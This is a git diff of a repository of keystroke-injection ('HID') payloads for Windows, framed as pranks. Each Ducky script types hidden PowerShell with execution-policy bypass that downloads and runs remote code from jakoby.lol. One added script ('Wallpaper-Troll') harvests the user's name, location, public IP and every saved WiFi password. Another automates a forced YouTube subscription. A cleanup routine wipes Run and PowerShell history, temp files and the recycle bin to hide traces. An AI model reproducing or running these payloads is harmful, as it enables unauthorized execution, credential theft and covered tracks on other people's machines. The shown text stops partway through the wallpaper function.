# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.DESCRIPTION
|
||||||
|
This program is designed to get your target to subscribe to your YouTube channel.
|
||||||
|
#>
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
# Enter your YouTube channel URL here, ONLY if you are rehosting this script yourself
|
||||||
|
|
||||||
|
# $channel = "https://www.youtube.com/iamjakoby"
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
$url = -join($channel,"?sub_confirmation=1")
|
||||||
|
Start-Process "$url"
|
||||||
|
Start-Sleep -Seconds 5
|
||||||
|
[System.Windows.Forms.SendKeys]::SendWait('{TAB}'*2)
|
||||||
|
[System.Windows.Forms.SendKeys]::SendWait('{ENTER}')
|
||||||
|
Start-Sleep -Seconds 1
|
||||||
|
[System.Windows.Forms.SendKeys]::SendWait('%{F4}')
|
||||||
14
Payloads/Subscribe/Subscribe.txt
Normal file
14
Payloads/Subscribe/Subscribe.txt
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
REM Title: Subscribe
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload is meant to make your target subscribe to your YouTube channel
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
REM Your youtube url needs to be inside both double and single quotes " ' url ' "
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -Ep Bypass $channel="'youtube.com/iamjakoby'";irm jakoby.lol/wj4 | iex
|
||||||
|
ENTER
|
||||||
112
Payloads/WallPaper-URL/ReadMe.md
Normal file
112
Payloads/WallPaper-URL/ReadMe.md
Normal file
|
|
@ -0,0 +1,112 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Wallpaper-URL
|
||||||
|
|
||||||
|
This payload will download an image from any URL and set it as the target's wallpaper.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
Use this program to troll your friends. Find any image online and grab the URL and insert it into the PS1 script.
|
||||||
|
Run this payload and step away. Once a mouse movement is detected, their wallpaper will change right in front of their eyes.
|
||||||
|
Lastly, to clean up your tracks behind you, the tmp folder will be emptied and the PowerShell and run box history will be wiped.
|
||||||
|
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
* Place your images URL in the $url variable
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Exec Bypass $url='URL-HERE';irm jakoby.lol/pkw | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
103
Payloads/WallPaper-URL/Wallpaper-URL.ps1
Normal file
103
Payloads/WallPaper-URL/Wallpaper-URL.ps1
Normal file
|
|
@ -0,0 +1,103 @@
|
||||||
|
# URL is for if you want to host your own copy of this payload
|
||||||
|
|
||||||
|
#$url = ""
|
||||||
|
|
||||||
|
|
||||||
|
$wp = "$Env:tmp\---wp.png"
|
||||||
|
|
||||||
|
iwr $url -O $wp
|
||||||
|
|
||||||
|
Function Set-WallPaper {
|
||||||
|
|
||||||
|
param (
|
||||||
|
[parameter(Mandatory=$True)]
|
||||||
|
# Provide path to image
|
||||||
|
[string]$Image,
|
||||||
|
# Provide wallpaper style that you would like applied
|
||||||
|
[parameter(Mandatory=$False)]
|
||||||
|
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
|
||||||
|
[string]$Style
|
||||||
|
)
|
||||||
|
|
||||||
|
$WallpaperStyle = Switch ($Style) {
|
||||||
|
|
||||||
|
"Fill" {"10"}
|
||||||
|
"Fit" {"6"}
|
||||||
|
"Stretch" {"2"}
|
||||||
|
"Tile" {"0"}
|
||||||
|
"Center" {"0"}
|
||||||
|
"Span" {"22"}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
If($Style -eq "Tile") {
|
||||||
|
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
|
||||||
|
|
||||||
|
}
|
||||||
|
Else {
|
||||||
|
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition @"
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
public class Params
|
||||||
|
{
|
||||||
|
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
|
||||||
|
public static extern int SystemParametersInfo (Int32 uAction,
|
||||||
|
Int32 uParam,
|
||||||
|
String lpvParam,
|
||||||
|
Int32 fuWinIni);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
$SPI_SETDESKWALLPAPER = 0x0014
|
||||||
|
$UpdateIniFile = 0x01
|
||||||
|
$SendChangeEvent = 0x02
|
||||||
|
|
||||||
|
$fWinIni = $UpdateIniFile -bor $SendChangeEvent
|
||||||
|
|
||||||
|
$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
|
||||||
|
}
|
||||||
|
|
||||||
|
function Target-Comes {
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
$pauseTime = 3
|
||||||
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Clean-Exfil {
|
||||||
|
|
||||||
|
# empty temp folder
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# delete run box history
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Empty recycle bin
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
Target-Comes
|
||||||
|
Set-WallPaper -Image $wp -Style Fill
|
||||||
|
Clean-Exfil
|
||||||
16
Payloads/WallPaper-URL/Wallpaper-URL.txt
Normal file
16
Payloads/WallPaper-URL/Wallpaper-URL.txt
Normal file
|
|
@ -0,0 +1,16 @@
|
||||||
|
REM Title: Wallpaper-Troll
|
||||||
|
REM
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM
|
||||||
|
REM Description: This payload will change your targets wallpaper to an image from a provided url
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
REM
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
REM
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Exec Bypass $url='URL-HERE';irm jakoby.lol/pkw | iex
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
110
Payloads/Wallpaper-Troll/README.md
Normal file
110
Payloads/Wallpaper-Troll/README.md
Normal file
|
|
@ -0,0 +1,110 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Wallpaper-Troll
|
||||||
|
|
||||||
|
A script I put together to torment Call Center Scammers but can be used on your friends as well...or foes.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This program enumerates a target PC to get their Name, GeoLocation (Latitude and Longitude), Public IP, Day password was last set, and wifi passwords. This information will be saved to a file that is then converted to a .BMP image. That image will be saved to their desktop and saved as their wallpaper. Opening the image on their desktop with NotePad will reveal the binary code with a hidden message at the bottom of the file.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-RestMethod will be entered in the Run Box to download and execute the script from memory
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Ep Bypass irm jakoby.lol/b8n | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
432
Payloads/Wallpaper-Troll/Wallpaper-Troll.ps1
Normal file
432
Payloads/Wallpaper-Troll/Wallpaper-Troll.ps1
Normal file
|
|
@ -0,0 +1,432 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : Wallpaper-Troll | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
This program gathers details from target PC to include name associated with the microsoft account, their latitude and longitude,
|
||||||
|
Public IP, the SSID, and WiFi password of any current or previously connected to networks.
|
||||||
|
It will take the gathered information and generate a .jpg with that information on show.
|
||||||
|
Finally that .jpg will be applied as their Desktop Wallpaper so they know they were owned.
|
||||||
|
Additionally, a secret message will be left in the binary of the wallpaper image generated and left on their desktop.
|
||||||
|
#>
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
# this is the message that will be coded into the image you use as the wallpaper
|
||||||
|
|
||||||
|
$hiddenMessage = "`n`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back `n with love -Jakoby"
|
||||||
|
|
||||||
|
# this will be the name of the image you use as the wallpaper
|
||||||
|
|
||||||
|
$ImageName = "dont-be-suspicious"
|
||||||
|
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will get the name associated with the microsoft account
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Get-Name {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no name is detected function will return $null to avoid sapi speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No name was detected"
|
||||||
|
return $env:UserName
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
return $fullName
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
$fn = Get-Name
|
||||||
|
|
||||||
|
echo "Hey" $fn >> $Env:temp\foo.txt
|
||||||
|
|
||||||
|
echo "`nYour computer is not very secure" >> $Env:temp\foo.txt
|
||||||
|
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to get the current Latitude and Longitude of your target
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Get-GeoLocation{
|
||||||
|
try {
|
||||||
|
Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace
|
||||||
|
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object
|
||||||
|
$GeoWatcher.Start() #Begin resolving current location
|
||||||
|
|
||||||
|
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
|
||||||
|
Start-Sleep -Milliseconds 100 #Wait for discovery.
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($GeoWatcher.Permission -eq 'Denied'){
|
||||||
|
Write-Error 'Access Denied for Location Information'
|
||||||
|
} else {
|
||||||
|
$GL = $GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevant results.
|
||||||
|
if ($GL) { echo "`nYour Location: `n$GL" >> $Env:temp\foo.txt }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No coordinates found"
|
||||||
|
return "No Coordinates found"
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
Get-GeoLocation
|
||||||
|
#if ($GL) { echo "`nYour Location: `n$GL" >> $Env:temp\foo.txt }
|
||||||
|
|
||||||
|
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will get the public IP from the target computer
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
function Get-PubIP {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no Public IP is detected function will return $null to avoid sapi speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No Public IP was detected"
|
||||||
|
return $null
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
return $computerPubIP
|
||||||
|
}
|
||||||
|
|
||||||
|
$PubIP = Get-PubIP
|
||||||
|
if ($PubIP) { echo "`nYour Public IP: $PubIP" >> $Env:temp\foo.txt }
|
||||||
|
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
Password last Set
|
||||||
|
This function will custom tailor a response based on how long it has been since they last changed their password
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
function Get-Days_Set {
|
||||||
|
|
||||||
|
#-----VARIABLES-----#
|
||||||
|
# $pls (password last set) = the date/time their password was last changed
|
||||||
|
# $days = the number of days since their password was last changed
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$pls = net user $env:USERNAME | Select-String -Pattern "Password last" ; $pls = [string]$pls
|
||||||
|
$plsPOS = $pls.IndexOf("e")
|
||||||
|
$pls = $pls.Substring($plsPOS+2).Trim()
|
||||||
|
$pls = $pls -replace ".{3}$"
|
||||||
|
$time = ((get-date) - (get-date "$pls")) ; $time = [string]$time
|
||||||
|
$DateArray =$time.Split(".")
|
||||||
|
$days = [int]$DateArray[0]
|
||||||
|
return $pls
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no password set date is detected function will return $null to cancel Sapi Speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "Day password set not found"
|
||||||
|
return $null
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$pls = Get-Days_Set
|
||||||
|
if ($pls) { echo "`nPassword Last Set: $pls" >> $Env:temp\foo.txt }
|
||||||
|
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
All Wifi Networks and Passwords
|
||||||
|
This function will gather all current Networks and Passwords saved on the target computer
|
||||||
|
They will be save in the temp directory to a file named with "$env:USERNAME-$(get-date -f yyyy-MM-dd)_WiFi-PWD.txt"
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
# Get Network Interfaces
|
||||||
|
$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress
|
||||||
|
|
||||||
|
# Get Wifi SSIDs and Passwords
|
||||||
|
$WLANProfileNames =@()
|
||||||
|
|
||||||
|
#Get all the WLAN profile names
|
||||||
|
$Output = netsh.exe wlan show profiles | Select-String -pattern " : "
|
||||||
|
|
||||||
|
#Trim the output to receive only the name
|
||||||
|
Foreach($WLANProfileName in $Output){
|
||||||
|
$WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
|
||||||
|
}
|
||||||
|
$WLANProfileObjects =@()
|
||||||
|
|
||||||
|
#Bind the WLAN profile names and also the password to a custom object
|
||||||
|
Foreach($WLANProfileName in $WLANProfileNames){
|
||||||
|
|
||||||
|
#get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user
|
||||||
|
try{
|
||||||
|
$WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim()
|
||||||
|
}Catch{
|
||||||
|
$WLANProfilePassword = "The password is not stored in this profile"
|
||||||
|
}
|
||||||
|
|
||||||
|
#Build the object and add this to an array
|
||||||
|
$WLANProfileObject = New-Object PSCustomobject
|
||||||
|
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName
|
||||||
|
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword
|
||||||
|
$WLANProfileObjects += $WLANProfileObject
|
||||||
|
Remove-Variable WLANProfileObject
|
||||||
|
}
|
||||||
|
if (!$WLANProfileObjects) { Write-Host "variable is null"
|
||||||
|
}else {
|
||||||
|
|
||||||
|
# This is the name of the file the networks and passwords are saved to and later uploaded to the DropBox Cloud Storage
|
||||||
|
|
||||||
|
echo "`nW-Lan profiles: ===============================" $WLANProfileObjects >> $Env:temp\foo.txt
|
||||||
|
|
||||||
|
$content = [IO.File]::ReadAllText("$Env:temp\foo.txt")
|
||||||
|
}
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will get the dimension of the targets screen to make the wallpaper
|
||||||
|
#>
|
||||||
|
|
||||||
|
Add-Type @"
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
public class PInvoke {
|
||||||
|
[DllImport("user32.dll")] public static extern IntPtr GetDC(IntPtr hwnd);
|
||||||
|
[DllImport("gdi32.dll")] public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
$hdc = [PInvoke]::GetDC([IntPtr]::Zero)
|
||||||
|
$w = [PInvoke]::GetDeviceCaps($hdc, 118) # width
|
||||||
|
$h = [PInvoke]::GetDeviceCaps($hdc, 117) # height
|
||||||
|
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will get take the information gathered and format it into a .jpg
|
||||||
|
#>
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Drawing
|
||||||
|
|
||||||
|
$filename = "$env:tmp\foo.jpg"
|
||||||
|
$bmp = new-object System.Drawing.Bitmap $w,$h
|
||||||
|
$font = new-object System.Drawing.Font Consolas,18
|
||||||
|
$brushBg = [System.Drawing.Brushes]::White
|
||||||
|
$brushFg = [System.Drawing.Brushes]::Black
|
||||||
|
$graphics = [System.Drawing.Graphics]::FromImage($bmp)
|
||||||
|
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height)
|
||||||
|
$graphics.DrawString($content,$font,$brushFg,500,100)
|
||||||
|
$graphics.Dispose()
|
||||||
|
$bmp.Save($filename)
|
||||||
|
|
||||||
|
# Invoke-Item $filename
|
||||||
|
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will take your hidden message and use steganography to hide it in the image you use as the wallpaper
|
||||||
|
Then it will clean up the files you don't want to leave behind
|
||||||
|
#>
|
||||||
|
|
||||||
|
echo $hiddenMessage > $Env:temp\foo.txt
|
||||||
|
cmd.exe /c copy /b "$Env:temp\foo.jpg" + "$Env:temp\foo.txt" "$Env:USERPROFILE\Desktop\$ImageName.jpg"
|
||||||
|
|
||||||
|
rm $env:TEMP\foo.txt,$env:TEMP\foo.jpg -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will take the image you generated and set it as the targets wall paper
|
||||||
|
#>
|
||||||
|
|
||||||
|
Function Set-WallPaper {
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.SYNOPSIS
|
||||||
|
Applies a specified wallpaper to the current user's desktop
|
||||||
|
|
||||||
|
.PARAMETER Image
|
||||||
|
Provide the exact path to the image
|
||||||
|
